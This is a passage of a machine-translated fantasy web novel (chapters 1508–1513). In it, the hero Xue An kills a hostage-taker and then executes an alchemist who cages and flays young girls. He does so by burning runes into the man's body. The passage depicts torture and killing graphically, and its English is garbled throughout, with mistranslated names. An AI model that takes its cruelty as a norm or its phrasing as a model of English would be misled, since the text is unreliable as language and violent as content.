    Seeing Liu Zhang''s palm suddenly exerted force, Zhuang Linyan completely lost the ability to resist.


    But from the beginning to the end, Liu Zhang never looked at Zhuang Linyan. Instead, he focused all his attention on Xue An, who was standing not far away.


    "My friend, you are very strong, and I have no intention of opposing you. Now you and I don''t offend the river, let me go, what do you think?" Liu Zhang took a deep breath and said slowly.

 Chapter 1508： With this power, it is worthy to negotiate terms with me...

    "Let you go?" Xue An smiled, "Are you negotiating terms with me?"


    "Of course!" Speaking of this, Liu Zhang''s eyes flashed a ruthless look, and the hand holding Lei Bakuzhu gently closed.


    "This thunder blasting orb has been bound to me. As long as I die, it will explode immediately! And it is powerful enough to blow up everyone, including you, of course, so if you are acquainted, do it now Let me go, I promise I won''t hurt this Zhuang Linyan, what do you think?"


    "Yes, yes!" Xue An nodded with a smile.


    But before Liu Zhang showed ecstasy, Xue An raised his hand and pointed to Liu Jingyi, who was standing beside him, "Are you sure you are going to leave alone? If you just leave like this, your daughter''s fate, I guess. It will be miserable!"


    However, Liu Zhang didn''t even hesitate, "As long as I can let me go, what can a daughter be like!"


    As he said, he glanced at Liu Jingyi again, "Jingyi, you are a good boy, so don''t blame Dad for being cruel, Dad is really forced!"


    Liu Jingyi''s face was as pale as paper, she just felt that something in her heart collapsed at this moment.


    At this moment, a soft high-five came.


    Xue Anfuzhang praised and said: "In order to survive, even his own daughter can betray and give up, Patriarch Liu, you really look like a hero!"


    "Stop talking nonsense, my surname is Xue, I''m talking about terms with you now, will you let me go?" Liu Zhang roared with a ferocious face.


    But as soon as he finished his words, he saw a ray of sword light rushing past Liu Zhang''s eyebrows with lightning speed, and rushed out from behind his head.


    The splash of blood even stained Zhuang Linyan''s face.


    Liu Zhang''s eyes condensed in an instant, but the remaining consciousness made him subconsciously look at the thunder burst in his hand.


    At the moment the sword light broke out of the body, brilliant lightning patterns appeared on the thunder burst beads, and they began to expand a little bit.


    There was a smirk at the corner of Liu Zhang''s mouth, very good, go to death!


    But at this moment, a slender hand suddenly appeared in the field of vision, and then Yun Danfeng gently held the thunder explosion bead about to detonate in his palm.


    At the moment when they put their hands together, the thunder ball burst completely with a bang.


    However, the huge power that was enough to destroy a few blocks could not shake this palm that looked like a sapphire hand.


    Even at this moment, the palm of his hand suddenly shook again.


    With a muffled sound.


    All the power of the explosion was constrained for life, turned into a plume of smoke, and then vanished.


    Seeing this scene, the remaining consciousness made Liu Zhang''s pupils instantly spread.


    It turned out that all his threats were nothing but the arrogance of the frog at the bottom of the well!


    Liu Zhang smiled bitterly, and then completely slid into the bottomless dark abyss.


    boom!


    Liu Zhang''s body crashed to the ground.


    The audience was silent.


    No one dared to make the slightest noise.


    In the horror of the audience, Xue An lightly patted his palms, and said lightly: "I want to negotiate terms with me because of this power?"


    He called Lei Bangzhu so... a bit of power? ? ?


    Many question marks appeared in the minds of many people.


    Some people even suspect that what they are facing now is not a person, but a tyrannosaurus beast hidden under a humanoid shell.


    Otherwise, how can you squeeze and explode thunder and beads with a mortal body?


    At this moment, Xue An turned his head to look at Zhuang Linyan and Liu Jingyi who looked blank, and said lightly.


    "Sorry, I seem to have killed your brother and enemy!"


    Zhuang Linyan trembled, but soon bowed her head and said.


    "My lord is joking, Lin Yan can live, and I must thank my lord for his life-saving grace!"


    Xue An smiled non-committal, then raised his head to look at the crimson moon that was gradually falling west.


    "Forget it, enough people have died tonight, so I won''t care about the mistakes you people commit, just get out of here!"


    "Yes! Thank you for your mercy!"


    After hearing what Xue An said, the rest of the people turned around quickly, and ran away scramblingly.


    In an instant, the field became quiet.


    And Xue An smiled, "Well, everything is over, I should go too!"


    "My lord! Where are you going?" Zhuang Linyan asked hurriedly after hearing this.


    Xue An lowered his eyes and looked at the huge corpse of the battle beast on the ground, and said lightly: "After hitting my apprentice, Master will naturally not let go, and I happen to be a person who is very afraid of trouble, so I simply put all the trouble away. Solve it all tonight!"


    As he said, Xue An stretched out his hand and lifted the corpse of the war beast to Shengsheng, and then slightly nodded at Zhuang Linyan.


    "Goodbye!"


    After all, Xue An stood up, carrying the body of the beast, and flew into the air. After several passes, he disappeared into the sky.


    Zhuang Linyan looked at Xue An''s away back blankly, her face full of confusion and consternation.


    He... just left?


    And listening to what he meant, it seemed to be looking for Liang Ming''s master, that master alchemist went?


    Thinking of this, Zhuang Linyan shuddered suddenly.


    Because she suddenly discovered that this Mr. Xue is obviously more mysterious and powerful than she thought!


    As for Liu Jingyi, she was looking at her father''s body on the ground with a painful face, tears streaming down her face.


    Who could have imagined that tonight''s auction would end in such a way!


    In the auction venue, Wen Jinkui was also full of shock after listening to the story of his subordinates.


    "What? Liu Zhang is also dead? And this adult saved everyone with a thunder burst in his hand?"


    "Yes! This is what the subordinates have seen in the distance with their own eyes!" The subordinate also said with a shocked face.


    "Then where does this lord go now?"


    "The subordinates only saw him grab the corpse of a beast, rise from the ground, and fly away!"


    Flew away with the corpse of the beast? Could it be...


    Wen Jinkui''s expression suddenly became solemn.


    If this is the case, then this is a big news enough to shock the entire alchemy world!


    But things... will it really go so well?


    A hint of doubt flashed in Wen Jinkui''s eyes At the same time [ABC novel network www.abcwx.top].


    There are many people in Bluestone City who have the same doubts.


    This night, many people are destined to have trouble sleeping.


    Tens of thousands of miles from the bluestone wilderness to the west, he entered the most prosperous area in the territory of hundreds of thousands of miles.


    There are many tall towers and huge alchemy machines dotted around here. While discharging huge amounts of pollution, they are also creating amazing wealth.


    Here is the core of the entire territory, the location of Yujin City.


    In the eastern half of Yujin City, there is an absolute forbidden area.


    No one dared to pass by here privately, even if they walked past the forbidden ground, they had to hurry with their heads down.

 Chapter 1509： Go straight to the door

    Because this is where the alchemist Duan Fuxian lived.


    now.


    In the middle of this forbidden area, above the towering tower, Duan Fuxian raised his head in satisfaction and stretched his waist.


    A butler was waiting on the side, and immediately served a cup of steaming refreshing fruit.


    Duan Fuxian sipped a drink comfortably, and commanded: "Okay, put this collection in my warehouse! Remember to pick a few good items from the dungeon later, today I think I��m in good condition, and I��m very likely to produce a few more fine products!"


    "Yes! Master!" The butler answered when he heard the words, and then reached out to several servants in the distance.


    These people hurried forward, took a beautiful sculpture off the wall, and then carefully carried it away.


    But judging from the shape and texture of this carved product embroidered with runes, it looks like a piece of...human skin!


    During this time, Fu Xian drank a hot drink while faintly said: "Is there any news from Liang Ming?"


    "My master, it''s not there yet! But judging from this time, the auction in Bluestone City may have just ended!"


    Duan Fu nodded first, and then there was a hint of arrogance on his face, "In fact, this so-called auction is nothing more than a formality! Does anyone dare to grab the things I want? Besides, even if someone If you want to compete with me, you have to have my financial resources, hahahahaha!"


    With that, Duan Fu first laughed happily.


    The housekeeper also agreed and laughed.


    "Okay! Go to the dungeon and choose a few top grades. I want to practice the runes. Once the alchemy armor is in hand, I can use it directly!"


    "Yes!"


    quickly.


    A servant pushed several cages covered with black cloth into the study.


    When the black cloth was uncovered, there were a few young girls shrank in the corner with desperate faces in the cage.


    Duan Fu first stood up and walked to the cage, leaned down and examined it carefully for a while, then nodded in satisfaction.


    "Not bad. The quality of this batch of goods is indeed high-quality. Only in this way can the delicate and tight skin perfectly simulate the appearance of the carved runes!"


    The housekeeper smiled with joy, "Thank you for the compliment, my lord! It''s true that these items are all sorted out after all my hard work, just to live up to my lord''s expectations!"


    In words, the two people completely regarded the girls in the cage as goods.


    After a good beard and horse, Duan Fu first showed a complacent look, and then walked back and forth in front of several cages.


    As far as they could see, these women were all shaking.


    Suddenly.


    Duan Fu first stood in front of a cage, raised his hand and pointed, "That''s her!"


    With an order, the girl let out a scream.


    But soon, a servant stepped forward and opened the cage, covering the woman''s mouth very skillfully, dragging her out of the cage.


    "Tie to that desk, I will first appreciate this body full of youthful vitality, so as to make her even more desperate, only in this way, her skin will be completely tight!" Duan Fu first ordered.


    Several servants very neatly tied the girl to a desk, then got up and left.


    When she let go of her hand covering her mouth, the girl immediately started howling.


    But Duan Fuxian didn''t mean to stop it at all, but looked at it with a smile.


    It was not until after a while, that the girl''s shout gradually weakened, and he said with a smug look.


    "Scream, why didn''t you continue to scream? Hey! Tell you the truth, this is my alchemy tower, so no one will hear you even if you break your throat! Even if you hear, no one will dare to come. Save you!"


    The girl''s face was almost transparent, and she begged with tears: "My lord, please let me go! Please..."


    Duan Fu first shook his head, "It''s useless, I won''t let you go!"


    As he said, Duan Fuxian''s fingers slid gently over the girl''s face, and then he said with a look of enjoyment: "It''s really young skin, it''s a pity, it''s still a little light! So..."


    Duan Fuxian suddenly said fiercely: "Why don''t you scream? Or I will kill you now and then peel off your skin!"


    "Ah ah ah ah ah!" The girl because of excessive fear, again hysterical screams.


    During the call, Duan Fuxian laughed, "Yes! That''s it! The more you call that way, the more excited I will be!"


    The women in the other cages were all scared to death.


    On the contrary, the servants and the housekeeper had a strange expression.


    Because this has become a daily routine.


    But just when Duan Fuxian was very excited waiting for the "heating" to be in place.


    suddenly.


    Just listen to an extremely indifferent voice faintly ringing in everyone''s ears.


    "Consider the despair of others as a game, and use their bodies as tools. Is this your alchemy?"


    "Who! Who is talking?" Duan Fuxian was furious, Huo Ran stood up, scanned the square, and shouted.


    And everyone in the study is also discolored.


    "Who? Hehe, the one who killed you!"


    After that, I saw a stream of light flying straight from the distant sky, and it came to the sky above this high tower in a flash.


    When the streamer stopped, the faces of the people in the study were all frozen.


    Because standing in the void is a young man in white.


    And behind the boy, there was a huge corpse of a beast.


    Duan Fuxian''s pupils instantly locked tightly after seeing the fragmented corpse of the battle beast.


    "This war beast...what happened to your disciple?" Duan Fuxian roared with an iron face.


    The person who came was naturally Xue An.


    I saw his eyes swept across the poor girls in the cage, especially when he saw the blood-stained desk and wall, a boiling anger flashed in his eyes.


    It''s not that he has never seen a murderer who kills people.


    But like this Duan Fuxian, it is really rare to see other people''s lives as tools .


    Therefore, after hearing Duan Fuxian''s questioning, Xue An only raised the corners of his mouth, revealing a cold smile.


    Then he said lightly: "Your apprentice Liang Ming is dead, and now, it''s your turn!"


    Duan Fu was furious when he heard the words, "Crazy kid, do you know what my identity is? You dare to talk to me like this and kill him!"


    After speaking, they saw a group of figures rushing out, all mechanical puppets made by Duan Fuxian himself.


    But just when these mechanical puppets rushed halfway.


    Xue An sneered, "It''s such a dirty place, so... all go to die!"


    With that, Xue An used a single arm and suddenly picked up the huge corpse of the beast behind him, and slammed it straight against the alchemy tower with the might of fury.


    call!


    The fierce airflow directly blows away the rushing mechanical puppets, and then the corpse of this beast is like a huge weapon, crashing on the alchemy tower.

 Chapter 1510： Serpentine armor

    Bang!


    This towering alchemy tower groaned overwhelmingly, and then the upper part of the tower slowly fell over, and finally hung there diagonally at an extremely dangerous angle.


    The power of this blow also made Duan Fuxian disgusted.


    "Lazi dare!"


    With this roar, a little black light suddenly appeared on Duan Fuxian''s body, and then it spread over his body like flowing water.


    There was a creak of gears turning, and Duan Fuxian��s entire body was enveloped under a piece of armor exuding cold and black light, and on the chest of this armor, there was a huge tattoo embroidered on it. Snake head.


    The eyes of the snake head are extremely cold, making people shudder at a glance.


    Xue An was stunned when he saw this, and immediately said with a smile: "Alchemy armor? Tsk tsk, I didn''t expect such an unexpected joy!"


    "Stop talking nonsense, die for me!" Duan Fuxian roared, his body squatted slightly, and suddenly jumped up, and the whole person went straight to Xue An like a cannonball.


    The speed was so fast that the rumbling sound it brought shook the entire Yujin City.


    Countless people looked up, and then infinite horror appeared in their eyes.


    "What''s the matter? Who made Master Duan so angry?"


    "God, look at the alchemy tower in the forbidden ground!"


    Shocks of horror came one after another.


    at the same time.


    Duan Fu Xianye had already rushed to Xue An, with a punch in the face.


    Quan Wei brought up gusts of cloudy wind, exuding a fishy and unpleasant atmosphere.


    There is no doubt that this punch will be poisonous even if it hits one point.


    This is also the reason why Duan Fuxian has been entrenched in the Jincheng for many years, killing countless, but his status is still standing.


    Having such an alchemy armor is enough to allow you to kill the strong at the same level in seconds.


    A sneer appeared on Duan Fuxian''s face.


    Obviously, this young man in white clothes had a long history, and his disciple Liang Ming also died in his hands, which means that the alchemy armor at the auction should be on his body at this moment.


    I can have such power with just one piece of ancient armor. If I can get another one, wouldn''t it be the world alone and even have the opportunity to be promoted to the realm of the creator?


    Thinking of this, Duan Fuxian''s heart grew fierce.


    But at the moment when his fist was smashing to Xue An''s approach, Xue An said indifferently: "This kind of armor is a waste of wearing you!"


    With that, Xue An probed his hand and grabbed Duan Fuxian''s wrist.


    Duan Fuxian was taken aback.


    what happened? This young man actually grabbed his fist with a fleshy palm?


    But why is he not poisoned?


    Could it be that he is immune?


    These thoughts just arose in Duan Fuxian''s heart, and Xue An gave him a grin.


    "Are you ready? The show has begun!"


    After all, Xue An used a single arm to shake Duan Fu first, and then smashed into the distant tower.


    This scene also fell in the eyes of most of the people who controlled Jincheng.


    Everyone''s mouths opened wide, and then they sighed in unison.


    Because in the eyes of many people who control Jincheng, Duan Fuxian is already an irresistible existence, a supreme god.


    But I never expected that just today, the invincible **** was actually defeated, and it was defeated by a young man in white who had never seen it before.


    at the same time.


    Just heard a loud bang.


    Duan Fu first smashed in like a cannonball from the side of the tower, then penetrated through layers of hard walls, and came out from the other side of the tower.


    In this way, the remaining power remained unfailing, until Duan Fuxian barely controlled his figure after hitting the ground and bouncing a few times.


    It''s just that at this moment, he looks more embarrassed than before.


    The armor that was still shining just now has also become much bleak at the moment.


    A trace of blood leaked from the corner of his mouth.


    And in his eyes, there was also a solemnity and solemnity that had never been seen before.


    After staring at Xue An in the air for a while, he suddenly wiped the blood from the corner of his mouth and asked with a hiss.


    "Friend, who are you?"


    Xue Anju looked at Duan Fuxian condescendingly and smiled faintly, "Why do you all like to ask this question?"


    Duan Fu first took a deep breath, tried his best to suppress the boiling blood in the body, and said in a deep voice: "Friend, your strength is by no means an ordinary person, so I think there should be some misunderstanding between us!"


    With one blow, Duan Fuxian, who had just been aggressive and vowed to avenge his apprentice, directly changed his words and became a misunderstanding.


    "Misunderstanding? If you say that, am I a misunderstanding when I kill your apprentice?" Xue An asked with a smile.


    Duan Fuxian smiled disapprovingly, "With the strength of your friend, my apprentice will die if he dies. What about misunderstandings?"


    The smile on Xue An''s face gradually faded, and he looked at Duan Fuxian deeply, "It makes sense!"


    Duan Fuxian secretly breathed a sigh of relief, put on a smile, just about to say something.


    Unexpectedly, Xue An went on to say: "Then, with my strength, I don''t need to care about any misunderstandings if I kill you?"


    As soon as this statement came out, Duan Fuxian''s heart alarm bells loudly, and the whole body subconsciously wanted to dodge aside.


    unfortunately.


    It''s too late.


    Xue An, who was originally standing high in the sky, didn''t know when he had already appeared behind Duan Fuxian, and then lightly slashed out a palm.


    Bang!


    This palm slammed directly on Duan Fuxian''s shoulder, and it was so powerful that it even aroused the self-defense of the alchemy armor.


    However, seeing countless pieces of scales crazily rushing on his shoulders, layer upon layer, it was considered to be able to block Xue An''s palm power.


    However, although the physical damage was avoided as much as possible, the violent force still smashed Mr. Duan Fusheng into the ground, leaving only a human-shaped hole in the ground.


    The cave is deep, I don''t know how far it was hit.


    But the shock wave that caused made the entire Yu Jincheng trembled.


    As for the fragmented cracks on the ground, it stretches for miles.


    "What the hell! Is this still a fight between mortals? Isn''t there a war?" someone exclaimed.


    at the same time.


    Xue An was hanging in the air, standing on the cave, and said indifferently: "This is just warming up, use your full strength, and let me see how much the power of this alchemy armor can you play!"


    The voice just fell.


    Just listen to the roar of wild beasts from below.


    Immediately after that, the ground began to tremble violently, and then I saw a giant python slamming out of the ground, its tall body standing up even a few points higher than the alchemy tower.


    And above the huge snake head, there was Duan Fuxian impressively.


    It''s just that Duan Fuxian at this moment, his whole body has been integrated with this giant python.


    Only the head appeared in the middle of the snake''s head, looking at Xue An with a cold face.

 Chapter 1511： Ultimate form

    Seeing this extremely terrifying scene, the entire Yujin City was almost boiling over.


    Countless people''s expressions changed wildly, and some of them were timid and even knelt to the ground, worshipping this giant python.


    Because in their minds, this is the supreme god.


    Xue An looked at this giant python made of metal with a playful look, and then sighed lightly: "It seems that I didn''t guess wrong, your beast was developed through this alchemy armor!"


    "Hey! So what? Boy, you can show me this ultimate form, it''s powerful enough!" Duan Fuxianjiejie sneered.


    At this moment, his eyes have also turned into triangular eyes that only the genus of snakes and insects have, and they are full of gloomy rays of light that choose people to eat.


    Most people don''t talk about fighting, even if they just see these eyes, they will collapse and die.


    Because this image seems to be created with the deepest nightmare in people''s hearts, full of fear.


    Xue An laughed lightly when he heard the words, "Ultimate form?"


    As he said, Xue An raised his finger to the giant python, "Do you call this the ultimate form?"


    Duan Fuxian was startled, "What do you mean?"


    "Haha, you are not right in your mind, blindly greedy for power, thinking that you have found the ultimate form of this armor, but you don''t know that you have fallen into the other side, just like you are now, not with people controlling the armor, Instead, he is firmly controlled by the armor and stuck in it, unable to extricate himself!"


    Xue An stood with his hand in his hand and talked freely, with a clear voice that shook the world.


    And his words also aroused Duan Fuxian''s violent reaction.


    Seeing the entire giant python squirming frantically, Duan Fuxian''s face also flashed in madness and tyranny.


    "You nonsense, I didn''t go wrong on my way, because at this moment I am incredibly powerful! This is the essence of power, you die for me!"


    With Duan Fuxian''s roar, the snake tail of the giant python suddenly flicked, and the speed seemed to shatter the space, and went straight to Xue An.


    But in the face of such a blow, Xue An just sneered.


    "Don''t believe it? Okay, then I will let you see today, what is the true ultimate form of this armor!"


    With that said, Xue An stepped on the toe, and the ground sank into a big pit with a bang, and Xue An��s whole person, like an arrow from the string, went straight through the blockades of the python, and arrived instantly Before the snake head.


    Duan Fuxian was already in madness at this moment, venting his violent power to the outside world madly.


    But Xue An didn''t show the slightest movement, and Yun Dan took a step lightly.


    It was such a step without the slightest smoky air, which made him go straight across the barriers to the giant python head.


    Then Xue An slowly raised his hand and pressed it directly on the python head.


    hiss!


    After a soft sound, the python that had been violent suddenly calmed down.


    Duan Fuxian was also startled, and then poked out his head frantically, and roared hysterically, "Kill him for me!"


    It''s a pity that the entire giant python seemed to have been cast with a holding spell, and there was no movement at all.


    Immediately afterwards, I heard the sound of gears turning from the giant python, and then the body of the giant python began to change wildly.


    boom!


    Duan Fuxian was the first to be rejected.


    Had it not been for Duan Fuxian carrying a bodyguard war beast, he might have been thrown to death like this.


    But even so, Duan Fuxian at the moment is not feeling well.


    I saw him standing in the distance, looking at the giant python armor that was constantly changing in horror, and didn''t understand what was going on.


    But soon.


    He and many people in the city saw an impressive scene.


    But seeing the giant python, who was still shaking the sky before, after a frantic change of body shape, it changed back to the appearance of armor, and then rushed to Xue An''s arm like a tide.


    Wherever he passed, armor appeared.


    But this is just the beginning.


    At the moment when this snake-shaped armor rushed onto Xue An��s arm, on Xue An��s waist, the golden token he carried before and the mouse-shaped token bought at the auction were all together. Shocked, and then began to change forms at the same time.


    However, the dazzling golden light flickered, and the sound of mechanical change continued to be heard in it.


    at last.


    When the golden light dissipated.


    What appeared in front of everyone was a jaw-dropping scene.


    Seeing Xue An standing in the void, his body was wrapped in layers of armor.


    The exquisiteness and perfection of this armor has surpassed the extreme that humans can achieve, especially when worn on Xue An, it looks like a **** descending from the earth.


    More importantly, there are a pair of huge metal wings behind Xue An, but at the moment there are only four feathers symbolizing sheep, tigers, rats, and snakes on the wings. The remaining eight holes are free.


    But even so, many people who had been oppressed by the power of this armor could not even breathe.


    Especially Duan Fuxian, he stared at this scene blankly, his face was green and white, and his mouth was whispering in a trembling voice.


    "This... this armor actually fits?"


    Duan Fuxian has only seen the fit-shaped armor once in the alchemy books handed down from ancient times.


    Even in the heyday of alchemy civilization, this is an extremely rare armor.


    Because if you want to forge this kind of armor, you must have the ability of a divine creator.


    And what is the level of the creator?


    Put it this way!


    The levels of alchemy civilization are divided into low-level alchemists, high-level alchemists, alchemists, great alchemists, creators, and great creators!


    But because of the decline of civilization, there is no great creator in this world now.


    Once you reach the realm of great creation, it means that you can independently create spiritual alchemy items!


    This is also the origin of the name of the Great Creator.


    But the creative master is still on top of the master creator ~ www.novelhall.com~ Once you reach this state, you will enter the realm of gods. The items forged will have their own talents and consciousness, and they can even create alchemy. life.


    But this also means that the creators of the gods are extremely scarce. In fact, there are only three creators of the gods in the entire history of alchemy civilization!


    Because of this, Duan Fu was so frightened when he first saw this scene of armor fit.


    At this moment, Xue An turned his head, the armor on his face suddenly separated to the sides, and then smiled at him slightly.


    "Can you see clearly now? This...is the ultimate form of this alchemy armor!"


    Duan Fu first trembled all over, and then fell to his knees without hesitation, "My lord, the disciple knows you are wrong! Please forgive me!"


    Duan Fuxian thought very clearly that in front of Xue An with such armor, he had no chance to escape at all.


    So if he wants to live, he can only hope that Xue An will spare him this time.


    And his kneeling also caused a commotion in the entire Yujin City.

 Chapter 1512： 1 cut for dreams

    Under this much-anticipated situation, Xue An looked down at Duan Fuxian who was kneeling on the ground, and said blankly: "Let you go?"


    "Yes, as long as the adults are willing to let me go, I am willing to pay any price!" Duan Fu first raised his head and said very seriously.


    "Okay, let''s just talk and listen, what price you can pay!" Xue An said lightly.


    Duan Fuxian heard this in his heart.


    Anyway, as long as you can talk!


    Only bargaining is the real buyer. What Duan Fuxian fears most is the kind of guy who directly kills people without asking questions.


    So he pondered for a while, and then smiled and said, "My lord, don''t worry, since I said that I will pay a price, it will definitely satisfy you!"


    As he spoke, Duan Fu first turned his head and waved at the alchemy tower.


    With the sound of mechanical change, dozens of war beasts swarmed out from the bottom of the tower, and they all arrived behind Duan Fuxian.


    Duan Fuxian showed a flattering smile, "My lord, this is all my painstaking efforts for hundreds of years. Every beast has extremely powerful power, which can shock one party, and as long as the adults are willing , I can immediately transfer the control of these beasts to you!"


    Xue An looked condescendingly at these beasts of various shapes, and suddenly said: "Are these beasts made by you after practicing with those women''s skins?"


    Duan Fu was stunned when he heard Xue An''s question.


    "Uh...sir, what do you mean? Isn''t it just a few ordinary people? And it is their honor to sacrifice for my great alchemy dream!"


    Duan Fuxian had a natural expression on his face.


    He did think so.


    For him, who has lived for hundreds of years and successfully promoted to the Great Alchemist, he no longer regards himself as a mortal.


    Even in his opinion, he is no longer a human being, but a superior dominator, and these ordinary people are nothing more than livestock that he raises.


    The only difference is that these livestock can talk.


    Other than that, there is no difference.


    And after Xue An listened to his words for granted, the extremely cold killing intent appeared in his eyes.


    "That''s good! Since it is their honor to sacrifice for your dream, it just so happens that I also have a dream now, dare you to ask if you are willing to sacrifice?"


    Duan Fuxian trembled all over, his face instantly turned pale as paper, "My lord, you..."


    "Huh?" With this questioning, there was a golden light across the sky, and Xue An appeared in front of Duan Fuxian in an instant, and then stared at him with piercing eyes.


    "Why? Not willing?"


    "Ah, no, no, my lord, I''m just..." Duan Fu was sweating profusely in horror, and his eyes were full of horror.


    But Xue An didn''t listen to his explanation at all, raised his hand, and ran his fingers across his well-maintained face without the slightest wrinkle.


    "Yes, although you have lived for so long, your skin is not aging at all. It is suitable for the canvas for seal carving runes!" Xue An said playfully.


    But after hearing what Xue An said, Duan Fuxian only felt that the hairs all over his body stood up in an instant, and goose bumps appeared on his skin wherever his cold fingers passed.


    "No, you can''t do this to me, I''m a master alchemist!"


    In the screams, Duan Fuxian secretly activated the control of these beasts.


    This was also a plan he had planned early in the morning. If Xue An accepted his apology, then the world would be peaceful.


    But if he refuses, that Duan Fu Xian will urge these beasts to fight to the death.


    But what made Duan Fuxian never expected was that when he activated the war order, there was no sound behind him.


    This can''t help making him startled for a while, secretly turned his head to look, and then became stupid.


    But seeing these war beasts who are usually flaunting their might, they all crawled on the ground at this moment, their gears trembled, as if they had encountered something extremely terrifying, they didn''t even dare to lift their heads.


    At the same time, Xue An chuckled softly, "It''s about this time, are you still expecting these war beasts to save you?"


    Duan Fuxian was shocked, his mouth widened, just about to say something.


    At this time, Xue An''s eyes flashed with brilliance, and a white flame suddenly appeared in front of him.


    Immediately afterwards, from the flames stretched out a string of fire lines.


    The lines of fire crisscross, like thin brushes, depicting a complex and mysterious talisman in the air.


    Despite being separated by a certain distance, Duan Fuxian still felt a scorching heat wave on his face. The temperature was so high that he burned his beard and eyebrows.


    It seems to anticipate what will happen next.


    Duan Fuxian was shocked, and in horror, he wanted to turn around and flee here.


    Xue An sneered coldly, until Duan Fuxian had escaped a hundred meters away, and then faintly said: "How does it feel like fear? Does this make your skin tighter?"


    Duan Fuxian didn''t dare to pause at all, and even used his life''s strength, only hoping to escape from here as soon as possible.


    Unfortunately, everything is in vain.


    Seeing Xue An waved his hand, this talisman made of firewire flew directly at an extremely fast speed and enveloped Duan Fuxian''s head.


    "Ahhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh!


    But in the face of this unmelting flame, his resistance was so weak.


    There was almost no lag in this character seal, it melted all the barriers in an instant, and then it was engraved on the top of Duan Fuxian''s head.


    With a bang, the flames rose into the air, covering Duan Fuxian completely.


    "Ahhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh!"


    But this flame is like a tarsal maggot, no matter what method he uses, he can''t reduce it by a minute, but it burns more and more.


    The smell of barbecue began to fill the air, and there was a beeping sound in the flames, the sound of the skin being scorched by the heat and then bursting open.


    It was in this case that a series of dense runes began to slowly emerge.


    Everyone who witnessed this scene was stupid.


    This tragic situation is simply unheard of!


    But at the same time, many people shed great tears.


    Especially those people who had been poisoned by Duan Fuxian tragically, their faces were extremely cheerful.


    Because they knew that no matter what kind of punishment was used on Duan Fuxian''s body, it would not be excessive.


    at last.


    Duan Fuxian''s struggle began to weaken, and when the flames gradually extinguished, his whole person fell to the ground like a dead wooden stake.


    But the body is still engraved with dense runes.


    Seeing this scene, the audience was silent.


    No one dared to make the slightest noise. They all looked at Xue An, who was standing in the air wearing armor, with extremely awe.

 Chapter 1513： Get ready, ill be there soon

    But at this moment, a turbulent flow suddenly appeared above Duan Fuxian''s body, and then I saw that Dao Guanghua gathered together.


    In an instant, a cyan-gold coin appeared in front of everyone.


    Then the token began to vibrate very regularly, just like... a mobile phone was shaking.


    Xue An raised his eyebrows slightly, and he could feel that a faint connection came out of the void, and then connected with this cyan-gold token.


    Combined with his knowledge of the world of alchemy, Xue An can conclude that this thing should be a certain artifact in the world of alchemy that is specially used for communication.


    But unlike the one used by Wen Jinkui that I saw at the auction, this one was obviously much more refined, and it was even tied to Duan Fuxian''s soul.


    So when Duan Fuxian died, this contactor emerged.


    Thinking in his mind, Xue An stepped to the contact device that was vibrating crazily, and with a wave of his hand, the contact device was connected.


    A hurried and anxious voice came from it.


    "Fu Xian? What''s the matter? Why did your coordinates suddenly disappear in the Soul Perceptron? Did something happen? Tell Master!"


    Xue listened quietly, without speaking.


    This kind of strange silence also made the people on the communication device more anxious.


    "Fu Xian, what''s the matter? You are talking! Did something go wrong in deducing the alchemy rune? Didn''t I tell you that any new rune must be tested with people first?"


    Xue An heard the words, a cold light flashed in his eyes, and then picked up the communicator that was shouting frantically, and said lightly: "Don''t shout, the person you are looking for is dead now!"


    There was a momentary silence on the side of the communication device, and it was only after a few seconds that a very cold voice came from it.


    "who are you?"


    "Me?" Xue An smiled faintly, "I am naturally the one who killed him!"


    "You killed Fu Xian? Why? Don''t you know that he is the great alchemist of our Tower of Truth? If you do this, don''t you fear the revenge of our Tower of Truth?"


    Because Xue An''s words evoked a noisy roar at the end of the communication device, and in it, this calm voice issued a series of questions.


    Xue An showed a faint smile upon hearing the words, "Tower of Truth? Ha ha, the evil alchemy that relies on the sacrifice of others'' lives to pursue one''s own progress is also worthy of calling itself the Tower of Truth?"


    "I''ll ask for the last time, you, he, who, on earth!" The voice was finally completely furious.


    Even through a communication device, you can still feel the boiling killing intent of the speaker.


    But in the face of such chilling roars, Xue An still looked calm, and even said indifferently with no waves in his tone.


    "If I''m not mistaken, this Duan Fuxian dared to be so arrogant, even using human life to do experiments, it is also from your instruction!"


    "From the moment you are unscrupulous in the pursuit of power, you have nothing to do with real alchemy! Some are just a group of selfish lunatics!"


    The phone suddenly calmed down, and then he heard the voice coldly: "Boy, no matter who you are, you are dead! Our Tower of Truth will never let you go!"


    Xue An raised the corners of his mouth, revealing two white tiger teeth, and then leaned down and said lightly beside the contactor.


    "Don''t let me go? Do you think... can your truth tower continue to exist?"


    "What do you mean?" The voice on the other end of the communication device suddenly flew.


    Xue An raised his head to stare at the already slanted alchemy tower, and said lightly: "Get ready! I''ll be there soon!"


    "Get ready?" The linker obviously didn''t understand what this meant.


    "After today, your Tower of Truth will completely cease to exist, I said!"


    "Are you **** funny?" There was a roar of laughter from the communication device.


    Because this sounds really ridiculous to them.


    The Tower of Truth has existed for thousands of years, and its strength is called the number one power in this world.


    As a result, there are people who say that such a powerful tower of truth will no longer exist.


    How can this not make these people laugh out loud.


    Xue An''s reaction to this was just a faint smile, and then he no longer cared about the communication device, but a flash, and the whole person flew to the alchemy tower.


    At this moment, there are still many innocent people in the alchemy tower. As for Duan Fuxian''s gang, as early as the moment Duan Fu died, they were buried together because of the soul contract.


    Xue An waved his hand and countless sword beams turned into mighty sword dragons, poured in from the top of the tower, and then flew out at the bottom.


    And the innocent people who had been taken captive by Duan Fuxian were the ones who flew out with the sword-like aura.


    In an instant, these people were sent to safety by the sword qi.


    At the same time, Xue An flashed around and kicked directly at the top of the alchemy tower.


    boom!


    The top of the tall tower that was already crumbling collapsed in response.


    The loud noise was also transmitted there through the communication device.


    "What sound is this?" There was a scream from inside.


    At this time, Xue An made a circle around the alchemy tower where there was only the bare lower half left, and then raised his hands and gently placed it on the tower.


    Bang! Bang!


    With two muffled noises, Xue An''s arm tightened instantly, and with Xue An''s force, the golden runes began to surging around from under his palm.


    Click!


    The whole world was filled with the sound of a burst of metal.

